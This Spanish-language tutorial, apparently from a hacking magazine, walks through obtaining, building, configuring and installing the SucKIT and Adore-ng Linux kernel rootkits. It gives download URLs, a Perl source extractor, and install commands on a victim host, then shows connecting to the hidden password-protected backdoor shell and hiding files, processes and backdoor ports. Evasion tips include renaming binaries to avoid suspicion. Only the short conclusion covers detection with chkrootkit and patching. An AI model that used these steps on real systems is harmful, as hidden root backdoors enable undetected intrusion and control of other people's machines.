Introducción
Rootkit (sust.): paquete compuesto por uno o varios programas que permiten a un atacante moverse a sus anchas por un sistema víctima sin miedo a ser descubierto por el administrador, además de permitir la entrada proporcionando su propia backdoor camuflada o bien escondiendo la actividad de algunos puertos a elegir.
Esa sería un poco la definición de un rootkit. Como en todo, hay muchísimos rootkits disponibles en la red y cada uno tiene sus características, sus ventajas y sus inconvenientes. Lo ideal sería mostrar detalladamente su funcionamiento y su código, ese es el valor didáctico de este tipo de herramientas, ya que las técnicas utilizadas son varias, y todas ellas realmente interesantes.
Suckit (Super User Control KIT)
El primer rootkit del que voy a hablaros se llama "SucKit". Fue diseñado por "sd" y "devik". Ellos escribieron un artículo sobre como aprovecharse del dispositivo "/dev/kmem". Este dispositivo corresponde a la memoria del kernel que se encuentra en ese momento operativo, en el artículo nos cuentan como inyectando código en ciertas posicoines de memoria del kernel, podemos controlar su funcionamiento, hay que decir que, según dicen en el artículo, sólo funciona en kernels de la familia 2.4.
IMAGEN 1
Para obtener el programa, debemos visitar la web "www.phrack.org" (imagen1), dirigirnos al apartado de la izquierda titulado "Issues" y marcar el número 58, que corresponde a la e-zine en la que apareció el artículo, y luego el número del artículo, que es el 7: "Linux on-the-fly kernel patching without LKM". Yo en vuestro lugar le daría una sólida lectura, tenemos mucho que aprender de "phrack". Para los que tengan prisa para llegar a ese artículo, entrar aquí, que es el enlace directo:
http://www.phrack.org/show.php?p=58&a=7
Una vez estamos en en la página, nos damos cuenta de que en el índice hay un apartado que pone: "9 - Appendix: SucKIT: The implementation". Ahí es donde queremos llegar, el código fuente del rootkit, se encuentra dentro del propio artículo. Pensad que estamos usando la primera versión del rootkit, actualmente hay algunas versiones mejoradas, pero esta viene con las especificaciones técnicas :). Así que nos dirigimos a la linea que empieza por:
En esta linea nos indica que desde este momento hasta encontrar un:
Estaremos dentro del código del fichero "./client/Makefile". Por ejemplo, el código completo del archivo "./client/Makefile" sería el mostrado en el listado1. Como resultado obtendremos un fichero de 4 líneas de código.
LISTADO 1
ETIQUETA de inicio: <++> ./client/Makefile
Código: 1: client: client.c
2: $(CC) $(CFLAGS) -I../include client.c -o client
3: clean:
4: rm -f client core
ETIQUETA de final: <--> ./client/Makefile
Resumiendo, debemos hacer lo mismo con todos los ficheros que salen en el artículo, copy/paste manual, o bien hacernos un programa para automatizar la tarea.
LISTADO 2
#!/usr/bin/perl
#Separadores de principio y fin de fichero
$inicio='<\+\+>';
$fin="<-->";
if( ! $ARGV[0] || ! $ARGV[1] ){
die "usage: ./extract.pl <FicheroEntrada> <NombreDirectorio>\n";
}
open(ifd,"$ARGV[0]") or die "Imposible abrir archivo $ARGV[0] para lectura\n";
#Creamos un directorio, y nos movemos hacia él
mkdir("$ARGV[1]");
chdir("$ARGV[1]");
while( $ifile=<ifd> ){ #Leemos linea por linea
if( $ifile=~/$inicio/ ){ #Si es el principio de un fichero
( $shit ,$ifile)=split($inicio,$ifile);
chop($ifile);
print "Creando $ifile...";
( $shit , $dir , $filename )=split("/",$ifile);
if( ! open(ofd,">$ifile") ){ #Si no existe el directorio
mkdir("$dir"); #Lo creamos
open(ofd,">$ifile") or die "Imposible abrir $ifile\n";
}
next; #Pasamos a la siguiente iteracion
}
if( $ifile=~/$fin/ ){ #Si es el final de un fichero
print "OK\n";
close(ofd);
next; #Pasamos a la siguiente iteración
}
syswrite(ofd,$ifile);
}
chdir("../");
exit;
En el listado2 tenéis un script en perl, que crea todo el árbol de directorios, para ello lo copiamos en un fichero, por ejemplo "extract.pl", le damos permisos de ejecución:
Luego copiamos todo el código de la web en un fichero, por ejemplo: "suckit.web", de manera que la primera linea sea "<++> ./client/Makefile", y la ultima "<--> ./Makefile". Seguidamente ejecutamos el programa con los argumentos correctos:
S_S ~;> ./extract.pl suckit.web suckit_source
Creando ./client/Makefile...OK
Creando ./client/client.c...OK
Creando ./doc/LICENSE...OK
...
...
Creando ./Makefile...OK
S_S ~;> ls
extract.pl suckit_source suckit.web
S_S ~;>
Como vemos la ejecución del script nos ha creado el directorio "suckit_source", dentro se encuentra el código fuente del rootkit. Ya sea usando el script que os he proporcionado, o haciendo el copy/paste a mano, debéis terminar con el árbol de directorios y ficheros que se puede observar en el listado 3.
NOTA Según he leido, el grupo “phrack” cerrará en breve, mientras escribo estas líneas sigue abierto, pero en caso de que lo cerraran, podéis bajaros la ezine de la siguiente direccion:
http://www.phrack.org/archives/phrack58.tar.gz
La descomprimis y os vais al artículo 0x07 y haceis lo mismo que dije hasta ahora.
LISTADO 3
./suckit_source/:
client doc include Makefile src utils
./suckit_source/client:
client.c Makefile
./suckit_source/doc:
CHANGES LICENSE README TODO
./suckit_source/include:
asm.h ip.h str.h suckit.h
./suckit_source/src:
bd.c config.c gfp.c io.c loc.c rc.c string.c
client.c core.c hook.c kernel.c main.c sk.c vsprintf.c
./suckit_source/utils:
bin2hex.c Makefile parser.c rip.c
Nota: "suckit_source" no tiene porque aparecer porque es el nombre donde, en mi caso, se ha guardado el código fuente, el vuestro no tiene porque ser el mismo.
Bueno, ahora que ya tenemos el código fuente, solo hace falta compilar, para ello nos dirigimos al directorio "suckit_source" y ejecutamos "make". Una vez lo hemos compilado ya tendremos su ejecutable. Lo primera es darse cuenta que tenemos dos binarios, que son los más importantes.
El ejecutable “sk” es el “server” del rootkit, es decir, es el que debe instalarse en la máquina víctima, el propio “server” ya nos proporciona una shell protegida con contraseña, con el puerto escondido y por defecto esconde todo lo que hagamos en ella (procesos y creación de ficheros). Para poder interactuar con el servidor, necesitamos usar el otro binario “cli” que como su propio nombre indica es el cliente de la conexión, simplemente hay que especificar el host donde conectar.
Vamos a ejecutarlo y veamos la ayuda:
S_S ~/suckit_source;> ./sk h
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Usage:
./sk [command] [arg]
Commands:
u uninstall
t test
i <pid> make pid invisible
v <pid> make pid visible (0 = all)
f [0/1] toggle file hiding
p [0/1] toggle proc hiding
configuration:
c <hidestr> <password> <home>
invoking without args will install rewtkit into memory
</pre></div>
S_S ~/suckit_source;>
Como vemos si ejecutamos el binario “sk” sin ningun argumento, lo instalaremos en nuestro sistema, así que andaros con ojo, en el cuadro1 podéis ver una pequeña descripción de sus argumentos. Lo primero que debemos hacer es configurar el server de suckit, para ello utilizaremos el comando “c” con los siguientes argumentos:
CUADRO 1
Commands:
u uninstall
t test
i <pid> make pid invisible
v <pid> make pid visible (0 = all)
f [0/1] toggle file hiding
p [0/1] toggle proc hiding
configuration:
c <hidestr> <password> <home>
S_S ~/suckit_source;> ./sk c ss_suckit arroba /usr/share/man/man8/.ss
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Configuring ./sk:
OK!
De esta manera conseguimos configurar suckit para que nos cree el usuario “ss_suckit”, con el password “arroba” y el home estará ubicado en “/usr/share/man/man8/.ss”. Para que todo funcione correctamente, debemos primero crear ese directorio en el ordenador víctima, y luego ejecutar sk (una vez configurado) en el el host (toda esta operación debe llebarse a cabo como root). Finalmente, despues de instalar el server, solo debemos ejecutar el cliente especificando como argumento el host donde queremos conectar. En el listado4 teneis un pequeño ejemplo comentado. Como podemos ver todo funciona a la perfección. Es interesante estudiar la idea de como hacer para que se arranque en cada reinicio del sistema, os dejo esa parte a vosotros ;)
LISTADO 4
Primero creamos el directorio y copiamos el ejecutable del server:
root@hostvictima.com# mkdir /usr/share/man/man8/.ss
root@hostvictima.com# cd /usr/share/man/man8/.ss
root@hostvictima.com /../.ss# cp /tmp/suckit_source/sk sk
Luego le activamos el bit SUID, lo podemos hacer porque él mismo esconde el directorio “.ss/”, y lo ejecutamos:
root@hostvictima.com /../.ss# chmod +s+u sk
root@hostvictima.com /../.ss# ./sk
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Getting kernel stuff...OK
page_offset : 0xc0000000
sys_call_table[] : 0xc01e5920
int80h dispatch : 0xc0106cef
kmalloc() : 0xc0127a20
GFP_KERNEL : 0x000001f0
punk_addr : 0xc010b8e0
punk_size : 0x0000001c (28 bytes)
our kmem region : 0xc0f94000
size of our kmem : 0x00003af2 (15090 bytes)
new_call_table : 0xc0f968f2
# of relocs : 0x0000015d (349)
# of syscalls : 0x00000012 (18)
And nooooow....Shit happens!! -> WE'RE IN <-
Starting backdoor daemon...OK, pid = 2269
root@hostvictima.com /../.ss# exit
Ahora que ya hemos salido del sistema víctima estamos listos para entablar conexión desde nuestra máquina:
-=SS=- /home/ss/suckit_source;) ./cli hostvictima.com
Looking up localhost...OK
Looking up hostvictima.com...OK
Trying 192.168.0.2.....
Challenging hostvictima.com
Connected to hostvictima.com
Escape character is '^K'
Password: arroba
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
rewt@hostvictima.com ~# pwd
/usr/share/man/man8/.ss
Como vemos estamos en el home que queriamos, ahora sería conveniente mirar si esconde nuestros procesos:
rewt@hostvictima.com ~# ps ax | grep ps
rewt@hostvictima.com ~#
De esta manera filtramos el comando “ps ax” de la lista mostrada, y tal y como vemos no hay salida, por lo que “ps” no lo muestra ;).
Adore
Otro rootkit muy potente es adore, este lo que hace es modificar ciertas funciones del núcleo para engañar al administrador escondiéndole todo lo que sea necesario. Algunas de las funciones que modifica son; readdir( sirve para leer directorios), show (que nos muestra las conexiones - leer artículo 6 de la E-Zine 58 de phrack)... Además de encargarse de los logs y el "/var/run/utmp" (donde se guarda la información sobre los usuarios que hay en ese momento usando el host). La verdad es que puede hacer muchisimas cosas para garantizarnos una cierta sensación de comodidad. Sería realmente interesante echar una ojeada al código, pero no hay espacio, así que os lo dejo para vosotros.
Bueno, vamos allá. Para bajaros el programa podéis usar la siguiente url:
$ wget http://stealth.openwall.net/rootkits/adore-ng-0.45.tgz
Una vez lo tengamos en el discoduro, debemos descomprimirlo y compilarlo:
S_S ~;> tar -xzvf adore-ng-0.45.tgz
S_S ~/adore-ng;> ./configure
S_S ~/adore-ng;> make
Cuando he intentado compilar el programa en un kernel 2.6.9, el "configure" daba errores, no encontraba el "/proc/ksyms", si os ocurre lo mismo, no preocuparos, editar el "Makefile.2.6" modificando la siguiente linea:
11: KERNEL_SOURCE=/usr/src/linux-2.6.0-test1
Por el directorio donde tengáis las fuentes del kernel, en mi caso: "/usr/src/linux", y lo guardamoscomo "Makefile". Así hacemos lo mismo que debería haber hecho el configure. Después ejecutamos "make" (sin hacer "configure" antes) y ya estará listo. Vemos entonces que se nos crea un modulo llamado "adore-ng-2.6.ko", en el caso de que sea kernel 2.6. Solo necesitamos cargarlo, para ello hacemos, como root: "insmod adore-ng-2.6.ko".
Bueno, ya tenemos el rootkit instalado, ahora aprendamos un poco como funciona, en primer lugar probemos de detectar el modulo que acabamos de cargar (como root):
S_S ~;) lsmod
Module Size Used by
ndiswrapper 106420 0
ieee1394 86452 1 ohci1394
nvidia 3460764 12
S_S ~;)
Como podéis observar no hay ni rastro, pero aun hay más. Después de compilarlo, tenemos un ejecutable llamado "ava", probemos de ejecutarlo a ver que pasa:
S_S ~/adore-ng;> ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
I print info (secret UID etc)
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible
S_S ~/adore-ng;>
Como debéis suponer este ejecutable es el encargado de comunicarse con el módulo, para hacer lo que queramos, por ejemplo, supongamos que queremos esconder un fichero llamado "text.txt", para ello simplemente hacemos:
S_S ~/adore-ng;> ls test.txt
test.txt
S_S ~/adore-ng;> ./ava h test.txt
Checking for adore 0.12 or higher ...
Adore 1.45 installed. Good luck.
File 'test.txt' hided.
S_S ~/adore-ng;> ls test.txt
S_S ~/adore-ng;>
Jeje. Voila!! Desapareció, ahora vamos a ver lo que ocurre si usamos la opción "u" (unhide) con el mismo archivo, que, aunque no lo veamos, sigue ahi, jeje:
S_S ~/adore-ng;> ./ava u test.txt
Checking for adore 0.12 or higher ...
Adore 1.45 installed. Good luck.
File 'test.txt' unhided.
S_S ~/adore-ng;>
Ahora esta claro que al hacer "ls" aparece el archivo "test.txt". Ahí teneis una pequeña prueba, pero esto sólo son tonterias, teniendo en cuenta el gran potencial que posee este rootkit. Como mi objetivo es solo mostrar un poco por encima como funciona, no pondre más ejemplos, probarlos vosotrs mismos, veréis como le pilláis el gustillo jeje. De todas formas, si miráis el cuadro2 veréis una breve descripción de cada uno de los parametros del ejecutable "ava".
CUADRO 2
I print info (secret UID etc):
Muestra las características con las que se instala el
rootkit, si lo instalamos con las opciones por defecto
(tal y como yo hecho), cosa que no hay que hacer, la
salida es la siguiente:
ELITE_UID: 2618748389, ELITE_GID=4063569279,
ADORE_KEY=fgjgggfd CURRENT_ADORE=45
h hide file
Esconde el fichero que le digamos.
u unhide file
Pone a la vista un fichero escondido anteriormente con "h".
r execute as root
Nos permite ejecutar comandos como root.
R remove PID forever
Elimina un proceso con el PID que le digamos, esta opción
no es del todo estable, podria llegar a colgar la máquina,
debe usarse con cuidado.
U uninstall adore
Desinstala el rootkit
i make PID invisible
Esconde un PID.
v make PID visible
Vuelve visible un PID que hayamos escondido con anterioridad.
Daros cuenta que es muy aconsejable cambiar el nombre del ejecutable por uno que no despierte sospechas, o bien esconderlo usandose el mismo jeje. Sea como sea, el programa puede hacer prácticamente de todo. Tal y como lo hemos hecho ahora, adore estaría instalado con las opciones por defecto, si nos miramos el "Makefile" veremos que podemos variar los parámetros de configuración (UID/GID del proceso y el password que se usa):
5: EXTRA_CFLAGS=-DELITE_UID=2618748389U -DELITE_GID=4063569279U
6: EXTRA_CFLAGS+=-DCURRENT_ADORE=45
7: EXTRA_CFLAGS+=-DADORE_KEY=\"fgjgggfd\"
Evidentemente, nunca viene mal echar una ojeadita al README que le acompaña para saber todas las posiblidades que tenemos a nuestro alcance. Por otra parte, también es interesante la función que hace que las conexiones relacionadas con cierto puerto no sean mostradas, por defecto estos puertos son: "2222" y "7350". Para modificarlos basta con dirigirse al archivo "adore-ng.h":
40: u_short HIDDEN_SERVICES[] =
41: {2222, 7350, 0};
Ahí podemos poner los puertos que queramos, siempre y cuando el ultimo elemento sea un 0. Esta característica es interesante a la hora de instalar una BackDoor y asignarla a un puerto, ya que si ese puerto es ocultado por adore, mucho mejor. Eso ya esta dentro de vuestras imaginación, hay infinidad de posibilidades, eso hace este rootkit tan completo :).
CONCLUSIONES
Bueno hasta aquí el artículo de RootKits, espero que os haya gustado. Ah si! Se me olvidaba, para poder detectar el rootkit “SucKIT” sólo debemos ejecutar “chkrootkit” que hace un pequeño análisis del sistema y salta en caso de encontrar algo “inusual” como esconder directorios, PIDs o incluso y hay alguna “shell” conectada a un puerto. Por otra parte la detección de “Adore” es algo más complicada, la verdad esque no se como hacerlo :-/ y tampoco he encontrado información al respecto. Pero claro está, la mejor solución es evitar cualquier tipo de ataque manteniendo las actualizaciones al día, pensad que todo lo aquí comentado sólo es posible si el atacante posee acceso como root, cosa complicada si llevamos al dia los servicios que ofrecemos :).
EOF